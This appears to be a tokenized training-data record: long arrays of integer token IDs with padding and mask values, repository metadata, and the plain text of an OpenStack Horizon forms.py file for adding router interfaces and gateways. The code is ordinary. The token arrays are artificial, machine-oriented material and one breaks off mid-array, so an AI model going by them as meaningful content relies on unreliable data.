12, 11971, 29, 797, 304, 272, 15599, 63, 1247, 275, 1052, 339, 340, 440, 11971, 26, 267, 984, 14, 3083, 14, 952, 360, 20568, 671, 1121, 29279, 78, 358, 272, 367, 1004, 315, 11756, 63, 5503, 8, 31332, 304, 267, 340, 1004, 59, 16, 61, 508, 32326, 288, 1980, 267, 8850, 275, 1004, 14, 6735, 1252, 1294, 2258, 84, 358, 267, 15599, 63, 1247, 59, 4574, 59, 16, 2677, 275, 8850, 59, 2301, 61, 339, 340, 440, 11971, 26, 267, 984, 14, 3083, 14, 952, 360, 20568, 15, 14827, 598, 6145, 29279, 78, 358, 272, 367, 1004, 315, 11756, 63, 5503, 8, 71, 3249, 304, 267, 862, 26, 288, 3721, 275, 488, 288, 4280, 275, 1004, 14, 1623, 7863, 358, 288, 340, 4280, 690, 446, 17, 26, 355, 340, 4280, 508, 378, 26, 490, 984, 14, 2703, 14, 952, 8, 604, 9, 490, 1980, 355, 3721, 275, 1004, 59, 2996, 2938, 355, 1004, 275, 1004, 4439, 2996, 61, 288, 20074, 12, 1350, 12, 3878, 12, 1343, 12, 1284, 12, 5396, 12, 620, 460, 12, 2787, 12, 3290, 275, 1004, 14, 6735, 1252, 1294, 2258, 84, 358, 288, 27229, 63, 344, 275, 488, 288, 367, 790, 12, 1139, 315, 359, 88, 14, 1294, 360, 5320, 367, 671, 315, 359, 88, 14, 1913, 342, 367, 671, 315, 3290, 14, 1294, 25282, 5440, 340, 671, 2189, 355, 340, 1139, 59, 16, 61, 508, 14788, 436, 1139, 1988, 17, 61, 508, 24536, 490, 1139, 275, 1139, 59, 17, 6809, 17, 61, 355, 340, 790, 508, 283, 21656, 63, 344, 356, 490, 27229, 63, 344, 275, 1139, 953, 340, 3290, 1988, 17, 61, 1137, 283, 6015, 355, 3290, 275, 1543, 83, 8942, 450, 3290, 953, 340, 27229, 63, 344, 315, 15599, 63, 1247, 26, 355, 3290, 275, 1543, 83, 15599, 63, 354, 2071, 83, 2, 8942, 450, 334, 3288, 12, 15599, 63, 1247, 59, 21656, 63, 344, 566, 953, 734, 14, 952, 2258, 84, 1370, 904, 779, 23473, 12, 1350, 12, 3878, 12, 1343, 12, 1284, 12, 5396, 12, 620, 460, 12, 2787, 12, 3290, 2459, 288, 340, 3721, 26, 355, 734, 14, 952, 2258, 84, 5, 83, 7, 450, 3721, 9, 288, 734, 14, 952, 2258, 78, 358, 267, 871, 26, 288, 492, 5190, 288, 984, 14, 3083, 14, 952, 360, 547, 6057, 1004, 3427, 78, 5, 83, 60, 78, 7, 450, 1004, 9, 288, 5190, 14, 1361, 63, 2804, 342, 288, 984, 14, 2224, 8, 17, 9, 421, 199, 318, 4503, 8, 1328, 29, 403, 304, 272, 340, 1499, 26, 267, 870, 1499, 272, 870, 636, 1301, 363, 272, 870, 18087, 199, 7692, 26, 486, 3249, 1208, 1050, 63, 31332, 469, 13, 761, 1967, 93, 1788, 14, 71, 3249, 31746, 56, 1121, 14, 2424, 199, 199, 4558, 26, 523, 446, 761, 1967, 259, 710, 15599, 536, 365, 5489, 315, 2763, 469, 1507, 93, 334, 17, 13, 6788, 9, 1598, 334, 885, 26, 21, 9, 199, 2344, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 486, 3249, 275, 488, 272, 671, 1121, 275, 488, 272, 2763, 275, 841, 339, 2061, 275, 488, 339, 367, 1680, 315, 984, 14, 3020, 59, 17, 10688, 267, 340, 2061, 508, 2475, 761, 356, 288, 2763, 275, 1109, 8, 1273, 9, 446, 413, 288, 2061, 275, 488, 267, 916, 440, 486, 3249, 436, 334, 736, 14, 515, 14, 2444, 8, 1273, 9, 503, 1680, 508, 2475, 735, 288, 486, 3249, 275, 1680, 267, 916, 440, 671, 1121, 436, 334, 736, 14, 515, 14, 2444, 8, 1273, 9, 503, 1680, 508, 2475, 735, 288, 671, 1121, 275, 1680, 267, 916, 1680, 315, 11573, 761, 2565, 288, 2061, 275, 1680, 339, 340, 440, 486, 3249, 503, 440, 671, 1121, 26, 267, 4503, 342, 272, 340, 486, 3249, 508, 10791, 436, 671, 1121, 508, 20905, 267, 4503, 360, 18088, 598, 6145, 436, 1323, 1121, 1584, 883, 440, 506, 687, 9009, 358, 339, 486, 3249, 63, 525, 63, 31332, 8, 71, 3249, 12, 671, 1121, 12, 2763, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 309, 4637, 1696, 199, 309, 4328, 4693, 3198, 536, 11262, 687, 21884, 35, 1323, 1121, 570, 199, 2344, 14995, 15599, 536, 15538, 370, 282, 598, 6145, 570, 334, 31332, 9, 199, 199, 2765, 9584, 15599, 536, 15538, 4079, 12188, 314, 31862, 39, 6349, 15538, 687, 314, 199, 21269, 35, 18870, 1377, 27620, 14, 598, 6349, 1561, 911, 506, 9394, 687, 314, 31746, 56, 1121, 1817, 14, 961, 199, 1224, 1471, 506, 13557, 18159, 687, 314, 21884, 35, 18870, 1377, 27620, 14, 199, 199, 2765, 15194, 626, 314, 570, 911, 506, 315, 5174, 13, 25672, 1475, 436, 626, 2337, 365, 199, 368, 1004, 367, 1924, 27229, 14, 2047, 1443, 4165, 1314, 2763, 8469, 314, 15599, 199, 354, 14, 1010, 314, 4465, 298, 9761, 56, 1121, 14, 2424, 2, 570, 12, 642, 365, 2763, 327, 21, 14, 199, 199, 2765, 911, 1050, 314, 2569, 3004, 26, 272, 15599, 63, 354, 199, 2344, 199, 199, 646, 984, 199, 646, 747, 199, 504, 302, 458, 1208, 14, 4058, 492, 11756, 63, 5503, 421, 199, 318, 486, 3249, 63, 525, 63, 31332, 8, 71, 3249, 12, 671, 1121, 12, 2763, 29, 20, 12, 734, 29, 1274, 14, 2703, 12, 11971, 29, 797, 304, 272, 15599, 63, 1247, 275, 1052, 339, 340, 440, 11971, 26, 267, 984, 14, 3083, 14, 952, 360, 20568, 671, 1121, 29279, 78, 358, 272, 367, 1004, 315, 11756, 63, 5503, 8, 31332, 304, 267, 340, 1004, 59, 16, 61, 508, 32326, 288, 1980, 267, 8850, 275, 1004, 14, 6735, 1252, 1294, 2258, 84, 358, 267, 15599, 63, 1247, 59, 4574, 59, 16, 2677, 275, 8850, 59, 2301, 61, 339, 340, 440, 11971, 26, 267, 984, 14, 3083, 14, 952, 360, 20568, 15, 14827, 598, 6145, 29279, 78, 358, 272, 367, 1004, 315, 11756, 63, 5503, 8, 71, 3249, 304, 267, 862, 26, 288, 3721, 275, 488, 288, 4280, 275, 1004, 14, 1623, 7863, 358, 288, 340, 4280, 690, 446, 17, 26, 355, 340, 4280, 508, 378, 26, 490, 984, 14, 2703, 14, 952, 8, 604, 9, 490, 1980, 355, 3721, 275, 1004, 59, 2996, 2938, 355, 1004, 275, 1004, 4439, 2996, 61, 288, 20074, 12, 1350, 12, 3878, 12, 1343, 12, 1284, 12, 5396, 12, 620, 460, 12, 2787, 12, 3290, 275, 1004, 14, 6735, 1252, 1294, 2258, 84, 358, 288, 27229, 63, 344, 275, 488, 288, 367, 790, 12, 1139, 315, 359, 88, 14, 1294, 360, 5320, 367, 671, 315, 359, 88, 14, 1913, 342, 367, 671, 315, 3290, 14, 1294, 25282, 5440, 340, 671, 2189, 355, 340, 1139, 59, 16, 61, 508, 14788, 436, 1139, 1988, 17, 61, 508, 24536, 490, 1139, 275, 1139, 59, 17, 6809, 17, 61, 355, 340, 790, 508, 283, 21656, 63, 344, 356, 490, 27229, 63, 344, 275, 1139, 953, 340, 3290, 1988, 17, 61, 1137, 283, 6015, 355, 3290, 275, 1543, 83, 8942, 450, 3290, 953, 340, 27229, 63, 344, 315, 15599, 63, 1247, 26, 355, 3290, 275, 1543, 83, 15599, 63, 354, 2071, 83, 2, 8942, 450, 334, 3288, 12, 15599, 63, 1247, 59, 21656, 63, 344, 566, 953, 734, 14, 952, 2258, 84, 1370, 904, 779, 23473, 12, 1350, 12, 3878, 12, 1343, 12, 1284, 12, 5396, 12, 620, 460, 12, 2787, 12, 3290, 2459, 288, 340, 3721, 26, 355, 734, 14, 952, 2258, 84, 5, 83, 7, 450, 3721, 9, 288, 734, 14, 952, 2258, 78, 358, 267, 871, 26, 288, 492, 5190, 288, 984, 14, 3083, 14, 952, 360, 547, 6057, 1004, 3427, 78, 5, 83, 60, 78, 7, 450, 1004, 9, 288, 5190, 14, 1361, 63, 2804, 342, 288, 984, 14, 2224, 8, 17, 9, 421, 199, 318, 4503, 8, 1328, 29, 403, 304, 272, 340, 1499, 26, 267, 870, 1499, 272, 870, 636, 1301, 363, 272, 870, 18087, 199, 7692, 26, 486, 3249, 1208, 1050, 63, 31332, 469, 13, 761, 1967, 93, 1788, 14, 71, 3249, 31746, 56, 1121, 14, 2424, 199, 199, 4558, 26, 523, 446, 761, 1967, 259, 710, 15599, 536, 365, 5489, 315, 2763, 469, 1507, 93, 334, 17, 13, 6788, 9, 1598, 334, 885, 26, 21, 9, 199, 2344, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 486, 3249, 275, 488, 272, 671, 1121, 275, 488, 272, 2763, 275, 841, 339, 2061, 275, 488, 339, 367, 1680, 315, 984, 14, 3020, 59, 17, 10688, 267, 340, 2061, 508, 2475, 761, 356, 288, 2763, 275, 1109, 8, 1273, 9, 446, 413, 288, 2061, 275, 488, 267, 916, 440, 486, 3249, 436, 334, 736, 14, 515, 14, 2444, 8, 1273, 9, 503, 1680, 508, 2475, 735, 288, 486, 3249, 275, 1680, 267, 916, 440, 671, 1121, 436, 334, 736, 14, 515, 14, 2444, 8, 1273, 9, 503, 1680, 508, 2475, 735, 288, 671, 1121, 275, 1680, 267, 916, 1680, 315, 11573, 761, 2565, 288, 2061, 275, 1680, 339, 340, 440, 486, 3249, 503, 440, 671, 1121, 26, 267, 4503, 342, 272, 340, 486, 3249, 508, 10791, 436, 671, 1121, 508, 20905, 267, 4503, 360, 18088, 598, 6145, 436, 1323, 1121, 1584, 883, 440, 506, 687, 9009, 358, 339, 486, 3249, 63, 525, 63, 31332, 8, 71, 3249, 12, 671, 1121, 12, 2763, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
liyitest/rr
openstack_dashboard/dashboards/project/routers/ports/forms.py
32
7792
# Copyright 2012, Nachi Ueno, NTT MCL, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import logging from django.core.urlresolvers import reverse from django.utils.translation import ugettext_lazy as _ from horizon import exceptions from horizon import forms from horizon import messages from openstack_dashboard import api LOG = logging.getLogger(__name__) class AddInterface(forms.SelfHandlingForm): subnet_id = forms.ChoiceField(label=_("Subnet")) ip_address = forms.IPField( label=_("IP Address (optional)"), required=False, initial="", help_text=_("Specify an IP address for the interface " "created (e.g. 192.168.0.254)."), version=forms.IPv4 | forms.IPv6, mask=False) router_name = forms.CharField(label=_("Router Name"), widget=forms.TextInput( attrs={'readonly': 'readonly'})) router_id = forms.CharField(label=_("Router ID"), widget=forms.TextInput( attrs={'readonly': 'readonly'})) failure_url = 'horizon:project:routers:detail' def __init__(self, request, *args, **kwargs): super(AddInterface, self).__init__(request, *args, **kwargs) c = self.populate_subnet_id_choices(request) self.fields['subnet_id'].choices = c def populate_subnet_id_choices(self, request): tenant_id = self.request.user.tenant_id networks = [] try: networks = api.neutron.network_list_for_tenant(request, tenant_id) except Exception as e: msg = _('Failed to get network list %s') % e LOG.info(msg) messages.error(request, msg) router_id = request.REQUEST.get('router_id', self.initial.get('router_id')) if router_id: redirect = reverse(self.failure_url, args=[router_id]) else: redirect = reverse('horizon:project:routers:index') exceptions.handle(request, msg, redirect=redirect) return choices = [] for n in networks: net_name = n.name + ': ' if n.name else '' choices += [(subnet.id, '%s%s (%s)' % (net_name, subnet.cidr, subnet.name or subnet.id)) for subnet in n['subnets']] if choices: choices.insert(0, ("", _("Select Subnet"))) else: choices.insert(0, ("", _("No subnets available"))) return choices def handle(self, request, data): if data['ip_address']: port = self._add_interface_by_port(request, data) else: port = self._add_interface_by_subnet(request, data) msg = _('Interface added') if port: msg += ' ' + port.fixed_ips[0]['ip_address'] LOG.debug(msg) messages.success(request, msg) return True def _add_interface_by_subnet(self, request, data): router_id = data['router_id'] try: router_inf = api.neutron.router_add_interface( request, router_id, subnet_id=data['subnet_id']) except Exception as e: self._handle_error(request, router_id, e) try: port = api.neutron.port_get(request, router_inf['port_id']) except Exception: # Ignore an error when port_get() since it is just # to get an IP address for the interface. port = None return port def _add_interface_by_port(self, request, data): router_id = data['router_id'] subnet_id = data['subnet_id'] try: subnet = api.neutron.subnet_get(request, subnet_id) except Exception: msg = _('Unable to get subnet "%s"') % subnet_id self._handle_error(request, router_id, msg) try: ip_address = data['ip_address'] body = {'network_id': subnet.network_id, 'fixed_ips': [{'subnet_id': subnet.id, 'ip_address': ip_address}]} port = api.neutron.port_create(request, **body) except Exception as e: self._handle_error(request, router_id, e) try: api.neutron.router_add_interface(request, router_id, port_id=port.id) except Exception as e: self._delete_port(request, port) self._handle_error(request, router_id, e) return port def _handle_error(self, request, router_id, reason): msg = _('Failed to add_interface: %s') % reason LOG.info(msg) redirect = reverse(self.failure_url, args=[router_id]) exceptions.handle(request, msg, redirect=redirect) def _delete_port(self, request, port): try: api.neutron.port_delete(request, port.id) except Exception: msg = _('Failed to delete port %s') % port.id LOG.info(msg) exceptions.handle(request, msg) class SetGatewayForm(forms.SelfHandlingForm): network_id = forms.ChoiceField(label=_("External Network")) router_name = forms.CharField(label=_("Router Name"), widget=forms.TextInput( attrs={'readonly': 'readonly'})) router_id = forms.CharField(label=_("Router ID"), widget=forms.TextInput( attrs={'readonly': 'readonly'})) failure_url = 'horizon:project:routers:index' def __init__(self, request, *args, **kwargs): super(SetGatewayForm, self).__init__(request, *args, **kwargs) c = self.populate_network_id_choices(request) self.fields['network_id'].choices = c def populate_network_id_choices(self, request): search_opts = {'router:external': True} try: networks = api.neutron.network_list(request, **search_opts) except Exception as e: msg = _('Failed to get network list %s') % e LOG.info(msg) messages.error(request, msg) redirect = reverse(self.failure_url) exceptions.handle(request, msg, redirect=redirect) return choices = [(network.id, network.name or network.id) for network in networks] if choices: choices.insert(0, ("", _("Select network"))) else: choices.insert(0, ("", _("No networks available"))) return choices def handle(self, request, data): try: api.neutron.router_add_gateway(request, data['router_id'], data['network_id']) msg = _('Gateway interface is added') LOG.debug(msg) messages.success(request, msg) return True except Exception as e: msg = _('Failed to set gateway %s') % e LOG.info(msg) redirect = reverse(self.failure_url) exceptions.handle(request, msg, redirect=redirect)
apache-2.0
[ 3, 1898, 6029, 12, 221, 653, 1225, 73, 738, 287, 79, 12, 221, 653, 1481, 603, 1981, 12, 221, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 2050, 199, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 199, 504, 21726, 492, 4967, 199, 504, 21726, 492, 4513, 199, 504, 21726, 492, 3788, 199, 504, 13869, 63, 9743, 492, 2986, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 2654, 4267, 8, 3351, 14, 12887, 26443, 2821, 304, 272, 6303, 63, 344, 275, 4513, 14, 15792, 8, 1302, 9384, 15238, 2237, 272, 3384, 63, 1562, 275, 4513, 14, 1772, 792, 8, 267, 1768, 9384, 1772, 9906, 334, 4144, 13185, 1415, 29, 797, 12, 2536, 8772, 267, 1720, 63, 505, 9384, 17768, 376, 3531, 2287, 367, 314, 3217, 298, 490, 298, 3966, 334, 69, 14, 71, 14, 13567, 14, 6568, 14, 16, 14, 8306, 680, 1288, 267, 1015, 29, 3351, 14, 12179, 20, 1204, 4513, 14, 12179, 22, 12, 3656, 29, 797, 9, 272, 6197, 63, 354, 275, 4513, 14, 2183, 8, 1302, 9384, 11691, 2812, 1288, 3303, 3938, 29, 3351, 14, 18362, 8, 4228, 3290, 3713, 6753, 356, 283, 6753, 20219, 272, 6197, 63, 344, 275, 4513, 14, 2183, 8, 1302, 9384, 11691, 2870, 1288, 1816, 3938, 29, 3351, 14, 18362, 8, 2511, 3290, 3713, 6753, 356, 283, 6753, 20219, 272, 5988, 63, 633, 275, 283, 16561, 26, 1715, 26, 17292, 26, 5506, 7, 339, 347, 636, 826, 721, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 1123, 4267, 12, 291, 2843, 826, 721, 1069, 12, 627, 589, 12, 1011, 958, 9, 267, 286, 275, 291, 14, 13817, 63, 5327, 63, 344, 63, 4577, 8, 1069, 9, 267, 291, 14, 955, 459, 5327, 63, 344, 2278, 4577, 275, 286, 339, 347, 13904, 63, 5327, 63, 344, 63, 4577, 8, 277, 12, 1056, 304, 267, 8261, 63, 344, 275, 291, 14, 1069, 14, 751, 14, 4647, 63, 344, 267, 11759, 275, 942, 267, 862, 26, 288, 11759, 275, 2986, 14, 10271, 14, 1200, 63, 513, 63, 509, 63, 4647, 8, 1069, 12, 8261, 63, 344, 9, 267, 871, 2186, 465, 325, 26, 288, 1499, 275, 4018, 4276, 370, 664, 2784, 769, 450, 83, 358, 450, 325, 288, 5051, 14, 815, 8, 1328, 9, 288, 3788, 14, 705, 8, 1069, 12, 1499, 9, 288, 6197, 63, 344, 275, 1056, 14, 6780, 14, 362, 360, 4995, 63, 344, 297, 4490, 291, 14, 2747, 14, 362, 360, 4995, 63, 344, 1333, 288, 340, 6197, 63, 344, 26, 355, 4660, 275, 3837, 8, 277, 14, 5328, 63, 633, 12, 1249, 1524, 4995, 63, 344, 566, 288, 587, 26, 355, 4660, 275, 3837, 360, 16561, 26, 1715, 26, 17292, 26, 1080, 358, 288, 4967, 14, 2479, 8, 1069, 12, 1499, 12, 4660, 29, 4876, 9, 288, 372, 398, 3415, 275, 942, 267, 367, 302, 315, 11759, 26, 288, 1851, 63, 354, 275, 302, 14, 354, 435, 7596, 283, 340, 302, 14, 354, 587, 2125, 288, 3415, 847, 3842, 5327, 14, 344, 12, 586, 1543, 83, 5, 83, 4366, 83, 3171, 450, 334, 846, 63, 354, 12, 6303, 14, 10509, 12, 3147, 6303, 14, 354, 503, 6303, 14, 344, 430, 717, 367, 6303, 315, 302, 459, 14967, 6538, 267, 340, 3415, 26, 288, 3415, 14, 3176, 8, 16, 12, 24727, 3824, 5446, 4804, 846, 13324, 267, 587, 26, 288, 3415, 14, 3176, 8, 16, 12, 24727, 3824, 1944, 18709, 2808, 13324, 267, 372, 3415, 339, 347, 2429, 8, 277, 12, 1056, 12, 666, 304, 267, 340, 666, 459, 711, 63, 1562, 2565, 288, 1844, 275, 291, 423, 525, 63, 3266, 63, 991, 63, 719, 8, 1069, 12, 666, 9, 267, 587, 26, 288, 1844, 275, 291, 423, 525, 63, 3266, 63, 991, 63, 5327, 8, 1069, 12, 666, 9, 267, 1499, 275, 4018, 4267, 3483, 358, 267, 340, 1844, 26, 288, 1499, 847, 283, 283, 435, 1844, 14, 5964, 63, 6142, 59, 16, 2733, 711, 63, 1562, 418, 267, 5051, 14, 1757, 8, 1328, 9, 267, 3788, 14, 3742, 8, 1069, 12, 1499, 9, 267, 372, 715, 339, 347, 485, 525, 63, 3266, 63, 991, 63, 5327, 8, 277, 12, 1056, 12, 666, 304, 267, 6197, 63, 344, 275, 666, 459, 4995, 63, 344, 418, 267, 862, 26, 288, 6197, 63, 4904, 275, 2986, 14, 10271, 14, 4995, 63, 525, 63, 3266, 8, 355, 1056, 12, 6197, 63, 344, 12, 6303, 63, 344, 29, 576, 459, 5327, 63, 344, 1105, 267, 871, 2186, 465, 325, 26, 288, 291, 423, 2479, 63, 705, 8, 1069, 12, 6197, 63, 344, 12, 325, 9, 267, 862, 26, 288, 1844, 275, 2986, 14, 10271, 14, 719, 63, 362, 8, 1069, 12, 6197, 63, 4904, 459, 719, 63, 344, 1105, 267, 871, 2186, 26, 288, 327, 14092, 376, 1125, 1380, 1844, 63, 362, 342, 3967, 652, 365, 2951, 288, 327, 370, 664, 376, 3531, 2287, 367, 314, 3217, 14, 288, 1844, 275, 488, 267, 372, 1844, 339, 347, 485, 525, 63, 3266, 63, 991, 63, 719, 8, 277, 12, 1056, 12, 666, 304, 267, 6197, 63, 344, 275, 666, 459, 4995, 63, 344, 418, 267, 6303, 63, 344, 275, 666, 459, 5327, 63, 344, 418, 267, 862, 26, 288, 6303, 275, 2986, 14, 10271, 14, 5327, 63 ]
[ 1898, 6029, 12, 221, 653, 1225, 73, 738, 287, 79, 12, 221, 653, 1481, 603, 1981, 12, 221, 3277, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 2050, 199, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 63, 6395, 465, 485, 199, 199, 504, 21726, 492, 4967, 199, 504, 21726, 492, 4513, 199, 504, 21726, 492, 3788, 199, 504, 13869, 63, 9743, 492, 2986, 199, 199, 4947, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 2654, 4267, 8, 3351, 14, 12887, 26443, 2821, 304, 272, 6303, 63, 344, 275, 4513, 14, 15792, 8, 1302, 9384, 15238, 2237, 272, 3384, 63, 1562, 275, 4513, 14, 1772, 792, 8, 267, 1768, 9384, 1772, 9906, 334, 4144, 13185, 1415, 29, 797, 12, 2536, 8772, 267, 1720, 63, 505, 9384, 17768, 376, 3531, 2287, 367, 314, 3217, 298, 490, 298, 3966, 334, 69, 14, 71, 14, 13567, 14, 6568, 14, 16, 14, 8306, 680, 1288, 267, 1015, 29, 3351, 14, 12179, 20, 1204, 4513, 14, 12179, 22, 12, 3656, 29, 797, 9, 272, 6197, 63, 354, 275, 4513, 14, 2183, 8, 1302, 9384, 11691, 2812, 1288, 3303, 3938, 29, 3351, 14, 18362, 8, 4228, 3290, 3713, 6753, 356, 283, 6753, 20219, 272, 6197, 63, 344, 275, 4513, 14, 2183, 8, 1302, 9384, 11691, 2870, 1288, 1816, 3938, 29, 3351, 14, 18362, 8, 2511, 3290, 3713, 6753, 356, 283, 6753, 20219, 272, 5988, 63, 633, 275, 283, 16561, 26, 1715, 26, 17292, 26, 5506, 7, 339, 347, 636, 826, 721, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 1123, 4267, 12, 291, 2843, 826, 721, 1069, 12, 627, 589, 12, 1011, 958, 9, 267, 286, 275, 291, 14, 13817, 63, 5327, 63, 344, 63, 4577, 8, 1069, 9, 267, 291, 14, 955, 459, 5327, 63, 344, 2278, 4577, 275, 286, 339, 347, 13904, 63, 5327, 63, 344, 63, 4577, 8, 277, 12, 1056, 304, 267, 8261, 63, 344, 275, 291, 14, 1069, 14, 751, 14, 4647, 63, 344, 267, 11759, 275, 942, 267, 862, 26, 288, 11759, 275, 2986, 14, 10271, 14, 1200, 63, 513, 63, 509, 63, 4647, 8, 1069, 12, 8261, 63, 344, 9, 267, 871, 2186, 465, 325, 26, 288, 1499, 275, 4018, 4276, 370, 664, 2784, 769, 450, 83, 358, 450, 325, 288, 5051, 14, 815, 8, 1328, 9, 288, 3788, 14, 705, 8, 1069, 